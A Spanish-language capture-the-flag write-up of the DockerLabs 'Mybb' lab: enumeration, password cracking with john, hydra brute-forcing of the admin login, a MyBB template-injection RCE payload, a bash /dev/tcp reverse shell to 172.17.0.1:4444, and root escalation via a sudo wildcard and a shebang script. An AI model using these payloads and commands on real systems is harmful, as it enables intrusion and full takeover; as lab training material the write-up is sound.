Post

DockerLabs - Mybb

DockerLabs - Mybb

nmap

1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Mybb]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2
PORT   STATE SERVICE
80/tcp open  http
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Mybb]
└─$ nmap -sCV -p80 172.17.0.2               
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: MyBB
|_http-server-header: Apache/2.4.58 (Ubuntu)

análisis

Accedemos a la página principal del servidor web de la máquina, donde vemos que se trata de un foro:

Desktop View

Investigando la página, nos damos cuenta que se hace referencia a panel.mybb.dl en ciertos puntos, el cual podemos confirmar que se trata de un subdominio:

Desktop View

Procedemos a agregar tanto panel.mybb.dl como mybb.dl al fichero /etc/hosts de nuestra máquina:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Mybb]
└─$ cat /etc/hosts | grep panel
172.17.0.2      panel.mybb.dl mybb.dl

Si ahora volvemos a recargar la página, veremos que nos carga la página del foro:

Desktop View

Tratamos de obtener más información del foro usando la herramienta whatweb:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Mybb]
└─$ whatweb http://panel.mybb.dl        
http://panel.mybb.dl [200 OK] Apache[2.4.58], Cookies[mybb[lastactive],mybb[lastvisit],sid], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], HttpOnly[sid], IP[172.17.0.2], JQuery[1823], PasswordField[quick_password], PoweredBy[--], Script[text/javascript], Title[Forums]

Procedemos a crear una cuenta para poder acceder a más funcionalidades y poder descubrir más información acerca del foro:

Desktop View

Dejaremos, mientras revisamos la página, en segundo plano gobuster descubriendo recursos en el servidor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Mybb]
└─$ gobuster dir -u "http://panel.mybb.dl" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt 2>/dev/null
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://panel.mybb.dl
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/contact.php          (Status: 200) [Size: 12572]
/misc.php             (Status: 200) [Size: 0]
/uploads              (Status: 301) [Size: 316] [--> http://panel.mybb.dl/uploads/]
/stats.php            (Status: 200) [Size: 10340]
/calendar.php         (Status: 200) [Size: 27166]
/global.php           (Status: 200) [Size: 98]
/admin                (Status: 301) [Size: 314] [--> http://panel.mybb.dl/admin/]
/online.php           (Status: 200) [Size: 11537]
/member.php           (Status: 302) [Size: 0] [--> index.php]
/images               (Status: 301) [Size: 315] [--> http://panel.mybb.dl/images/]
/showthread.php       (Status: 200) [Size: 10439]
/portal.php           (Status: 200) [Size: 13601]
/report.php           (Status: 200) [Size: 10974]
/memberlist.php       (Status: 200) [Size: 19533]
/forumdisplay.php     (Status: 200) [Size: 10419]
/css.php              (Status: 200) [Size: 0]
/install              (Status: 301) [Size: 316] [--> http://panel.mybb.dl/install/]
/announcements.php    (Status: 200) [Size: 10203]
/index.php            (Status: 200) [Size: 13707]
/polls.php            (Status: 200) [Size: 0]
/search.php           (Status: 200) [Size: 14849]
/private.php          (Status: 200) [Size: 11088]
/cache                (Status: 301) [Size: 314] [--> http://panel.mybb.dl/cache/]
/syndication.php      (Status: 200) [Size: 429]
/archive              (Status: 301) [Size: 316] [--> http://panel.mybb.dl/archive/]
/inc                  (Status: 301) [Size: 312] [--> http://panel.mybb.dl/inc/]
/newreply.php         (Status: 200) [Size: 10201]
/printthread.php      (Status: 200) [Size: 10201]
/captcha.php          (Status: 200) [Size: 0]
/usercp.php           (Status: 200) [Size: 11209]
/rss.php              (Status: 302) [Size: 0] [--> syndication.php]
/attachment.php       (Status: 200) [Size: 10205]
/newthread.php        (Status: 200) [Size: 10178]
/task.php             (Status: 200) [Size: 43]
/javascript           (Status: 301) [Size: 319] [--> http://panel.mybb.dl/javascript/]
/warnings.php         (Status: 200) [Size: 10974]
/reputation.php       (Status: 200) [Size: 10220]
/backups              (Status: 301) [Size: 316] [--> http://panel.mybb.dl/backups/]
/htaccess.txt         (Status: 200) [Size: 3088]
/jscripts             (Status: 301) [Size: 317] [--> http://panel.mybb.dl/jscripts/]
/moderation.php       (Status: 200) [Size: 11090]
/server-status        (Status: 403) [Size: 278]
/editpost.php         (Status: 200) [Size: 11097]

===============================================================
Finished
===============================================================

Encontramos el recurso /admin, el cual debe ser donde los administradores acceden para gestionar el foro:

Desktop View

Por otro lado, encontramos el recurso /backups, el cual vemos que nos lista un fichero:

Desktop View

Si accedemos, vemos que muestra logs del sistema, y también muestra el hash de la contraseña de la usuaria alice:

Desktop View

Tratamos de obtener la contraseña por fuerza bruta usando john tras guardar el hash en un fichero, y vemos que al instante nos encuentra la contraseña:

1
2
3
4
5
6
7
8
9
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Mybb]
└─$ john -w=/usr/share/seclists/Passwords/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
**********       (?)
Session completed.

Probamos a ver si la contraseña que hemos encontrado es la de algún usuario conocido (alguno de los que encontramos en el fichero de /backups/data), pero no coincide con ninguno, por lo que la guardamos para más tarde.

Seguiremos tratando de obtener la contraseña del usuario admin para el panel de administración empleando fuerza bruta con hydra:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Mybb]
└─$ hydra -l 'admin' -P /usr/share/seclists/Passwords/rockyou.txt panel.mybb.dl http-post-form "/admin/index.php:username=^USER^&password=^PASS^&do=login:The username and password combination you entered is invalid"
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://panel.mybb.dl:80/admin/index.php:username=^USER^&password=^PASS^&do=login:The username and password combination you entered is invalid
[80][http-post-form] host: panel.mybb.dl   login: admin   password: 1234567
[80][http-post-form] host: panel.mybb.dl   login: admin   password: nicole
[80][http-post-form] host: panel.mybb.dl   login: admin   password: daniel
[80][http-post-form] host: panel.mybb.dl   login: admin   password: princess
[80][http-post-form] host: panel.mybb.dl   login: admin   password: rockyou
[80][http-post-form] host: panel.mybb.dl   login: admin   password: 12345
[80][http-post-form] host: panel.mybb.dl   login: admin   password: monkey
[80][http-post-form] host: panel.mybb.dl   login: admin   password: 12345678
[80][http-post-form] host: panel.mybb.dl   login: admin   password: abc123
[80][http-post-form] host: panel.mybb.dl   login: admin   password: lovely
[80][http-post-form] host: panel.mybb.dl   login: admin   password: jessica
[80][http-post-form] host: panel.mybb.dl   login: admin   password: babygirl
[80][http-post-form] host: panel.mybb.dl   login: admin   password: ashley
[80][http-post-form] host: panel.mybb.dl   login: admin   password: qwerty
[80][http-post-form] host: panel.mybb.dl   login: admin   password: 654321
[80][http-post-form] host: panel.mybb.dl   login: admin   password: michael
1 of 1 target successfully completed, 16 valid passwords found

Vemos que la respuesta es inconclusa porque hydra no consigue identificar con que contraseña se obtiene el acceso, por lo que optaremos por probar manualmente cada una de las opciones que sugiere.

Hay que tener en cuenta que el panel de autenticación de /admin bloquea el usuario admin si se hacen 5 intentos de acceso incorrectos, por lo que será necesario reiniciar el laboratorio cuando esto ocurra!

Después de múltiples intentos, encontramos la contraseña correcta, y podemos acceder al panel de administración:

Desktop View

acceso inicial (www-data)

Para la versión de Mybb instalada en la máquina (1.8.35), encontramos que es vulnerable a un RCE (Remote Code Execution), tal y como indica el siguiente reporte:

Desktop View

Investigando un poco más, encontramos el siguiente post, el cual aporta un POC (Proof of concept, prueba que permite corroborar la vulnerabilidad):

Desktop View

El payload es el siguiente:

1
<!--{$db->insert_id(isset($_GET[1])?die(eval($_GET[1])):'')}{$a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]}-->

Tal y como indican, debemos indicar el payload en una plantilla (en mi caso, he optado por la plantilla inicial index.php).

Desktop View

Si ahora nos dirigimos a la página cuya plantilla hayamos modificado (que en este caso sería index.php), podremos ejecutar instrucciones en PHP indicándolos como valor del parámetro 1, de la siguiente manera:

1
http://panel.mybb.dl/index.php?1=system('id');

Desktop View

Dado que hemos conseguido ejecución remota de comandos, vamos a proceder a entablar una consola con la máquina, donde lo primero es ponerse en escucha con nc, y luego ejecutar el comando que nos devolverá la consola:

1
http://panel.mybb.dl/index.php?1=system('bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"');

Una vez ejecutado el comando, deberíamos haber obtenido la consola:

1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Mybb]
└─$ nc -nlvp 4444                          
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 41228
www-data@51864c672a64:/var/www/mybb$ whoami
whoami
www-data
www-data@51864c672a64:/var/www/mybb$ hostname -I
hostname -I
172.17.0.2

Procedemos a tratar de la TTY para obtener una consola completamente interactiva:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@51864c672a64:/var/www/mybb$ script -c bash /dev/null
script -c bash /dev/null
Script started, output log file is '/dev/null'.
www-data@51864c672a64:/var/www/mybb$ ^Z
zsh: suspended  nc -nlvp 4444

┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Mybb]
└─$ stty raw -echo;fg                      
[1]  + continued  nc -nlvp 4444
                               reset xterm

www-data@51864c672a64:/var/www/mybb$ export TERM=xterm
www-data@51864c672a64:/var/www/mybb$ export SHELL=bash
www-data@51864c672a64:/var/www/mybb$ stty rows 37 columns 210

Listaremos los usuarios que tengan asignada una consola en el fichero /etc/passwd:

1
2
3
www-data@51864c672a64:/home$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
alice:x:1001:1001:,,,:/home/alice:/bin/bash

movimiento lateral (alice)

Antes habíamos obtenido la contraseña de la usuaria alice, por lo que podemos probar si a nivel de sistema se usa la misma, y vemos que es así:

1
2
3
4
www-data@51864c672a64:/home$ su alice
Password: 
alice@51864c672a64:/home$ whoami
alice

escalada de privilegios (root)

Comprobamos los permisos SUDO de la usuaria alice, y vemos que permite ejecutar scripts con extensión .rb (scripts escritos en Ruby) como el usuario root en el directorio /home/alice/scripts/:

1
2
3
4
5
6
alice@51864c672a64:/home$ sudo -l
Matching Defaults entries for alice on 51864c672a64:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User alice may run the following commands on 51864c672a64:
    (ALL : ALL) NOPASSWD: /home/alice/scripts/*.rb

Se pueden emplear varios métodos para explotar esta configuración (crear un script en Ruby que ejecute comandos, o aprovecharnos de que el nombre del script es un asterisco para ejecutar comandos indicandolos en el nombre del script, etc), pero en este caso optaremos por aprovecharnos del Shebang (instrucción que le indica al sistema operativo como interpretar el fichero actual).

Añadir esta instrucción nos permite que, indiferentemente de la extensión del script, el sistema lo ejecutará con el interprete que hayamos indicado.

Con esta premisa, debido a que la máquina no cuenta con ningún editor de texto, en nuestra máquina creamos el script en Bash que queremos ejecutar, el cual nos invocará una consola privilegiada:

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Mybb]
└─$ cat test       
#!/bin/bash

bash -p

Lo convertimos a Base64 para pasarlo más fácilmente:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Mybb]
└─$ cat test | base64 -w0
IyEvYmluL2Jhc2gKCmJhc2ggLXAK

En la máquina lo decodificamos, lo metemos en un script con extensión .rb y le damos permisos de ejecución:

1
2
alice@51864c672a64:~/scripts$ echo "IyEvYmluL2Jhc2gKCmJhc2ggLXAK" | base64 -d > privesc.rb
alice@51864c672a64:~/scripts$ chmod +x privesc.rb

Si ahora lo ejecutamos, veremos que se ejecuta con Bash, por lo que nos devuelve una consola como el usuario root:

1
2
3
alice@51864c672a64:~/scripts$ sudo ./privesc.rb 
root@51864c672a64:/home/alice/scripts# whoami
root

Y de esta manera habremos completado la máquina Mybb!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.